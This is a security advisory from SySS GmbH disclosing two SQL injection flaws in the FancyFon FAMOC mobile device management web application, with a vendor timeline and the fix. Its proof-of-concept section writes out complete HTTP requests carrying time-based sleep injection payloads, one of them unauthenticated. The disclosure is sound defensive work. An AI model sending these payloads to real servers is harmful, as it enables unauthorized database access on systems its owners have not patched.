[SYSS-2014-010] FancyFon FAMOC - SQL Injection

2015-02-02T00:00:00
ID SECURITYVULNS:DOC:31690
Type securityvulns
Reporter Securityvulns
Modified 2015-02-02T00:00:00

Description

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512

Advisory ID: SYSS-2014-010 Product(s): FAMOC Vendor: FancyFon Affected Version(s): 3.16.5 Tested Version(s): 3.16.5 Vulnerability Type: SQL Injection (CWE-89) Risk Level: High Solution Status: Fixed Vendor Notification: 2014-12-19 Solution Date: 2015-01-23 Public Disclosure: 2015-01-23 CVE Reference: Not yet assigned Authors of Advisory: Matthias Deeg (SySS GmbH) Sebastian Nerz (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

FAMOC is a mobile device management software by FancyFon supporting different kinds of mobile devices.

The vendor FancyFon describes the product as follows (see [1]):

"FAMOC is a flexible and open mobile device lifecycle management solution, enabling any number of smartphones using a variety of operating systems, to be centrally and remotely managed, over the Internet."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SySS GmbH found two boolean-based SQL injection vulnerabilities in the web application component of the FAMOC mobile device management solution which can be exploited from different attacker's perspectives.

1) SQL injection in ajax.php (REST URL parameter for device ID)

The REST URL parameter for the device ID of the PHP script ajax.php is not sanitized sufficiently resulting in an SQL injection vulnerability.

This SQL injection vulnerability can be exploited by an unauthenticated attacker by sending a specially crafted HTTP POST request (see PoC section).

2) SQL injection in index.php (URL parameter "order")

The URL parameter "order" of the PHP script index.php is not sanitized sufficiently resulting in an SQL injection vulnerability.

This SQL injection vulnerability can be exploited by an authenticated attacker that is logged in to the FAMOC web UI by sending a specially crafted HTTP GET request (see PoC section).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1) SQL injection in ajax.php (REST URL parameter for device ID)

The following HTTP POST request injecting the SQL command '+(select * from (select(sleep(10)))a)+' as the URL REST parameter of the device ID demonstrates the SQL injection vulnerability by a time delay of 10 seconds for the server response:

POST /ajax.php/'%2b(select%20*%20from%20(select(sleep(10)))a)%2b'/summary.xml?req=mdm/backup_upload.php HTTP/1.1 Host: <HOST> Accept-Encoding: gzip Content-Type: application/x-www-form-urlencoded Content-Length: 343 Connection: close

<operation type="backup"> <item type="contacts" status="NOTEXIST" num_items="0" size="" path="" message="" passMD5="00000000000000000000000000000000"> <file mdm5="" path="/contacts.vcf" status="MISSING" message="DELETED" size="0"/> <file mdm5="" path="/contacts.vcf" status="NOTEXIST" message="FAIL" size="0"/> </item> </operation>

2) SQL injection in index.php (URL parameter "order")

The following HTTP GET request injecting the SQL command ,(select * from (select(sleep(10)))a) via the URL parameter "order" demonstrates the SQL injection vulnerability by a time delay of 10 seconds for the server response:

GET /index.php?name=&order=my_last_login%20desc%2cinstitution_name%2c(select%20*%20from%20(select(sleep(10)))a)&page=1&myorgs=0 HTTP/1.1 Host: <HOST> Cookie: PHPSESSID=<SESSION_COOKIE>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to FAMOC software version 3.17.4.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2014-12-19: Vulnerability reported to vendor 2014-12-19: Vendor acknowledges e-mail with SySS security advisory 2015-01-16: Contacted vendor for status information about the reported vulnerability 2015-01-23: Vendor responds that this security vulnerability was addressed in the FAMOC software version 3.17.4. Public release of security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product Web Site for FAMOC Mobile Device Management http://www.fancyfon.com/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Matthias Deeg and Sebastian Nerz of the SySS GmbH.

E-Mail: matthias.deeg (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/ Matthias_Deeg.asc Key fingerprint = 5AE3 96EE A014 FB90 9D81 AF90 8C54 7E88 A34C CED8

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iEYEAREKAAYFAlTCLMMACgkQjFR+iKNMztglDACdFWel04sdq+B4VzKKJ4nd3toD 50IAn0cczThEsIrwGFow0i1+FI+yjyHo =T7M4 -----END PGP SIGNATURE-----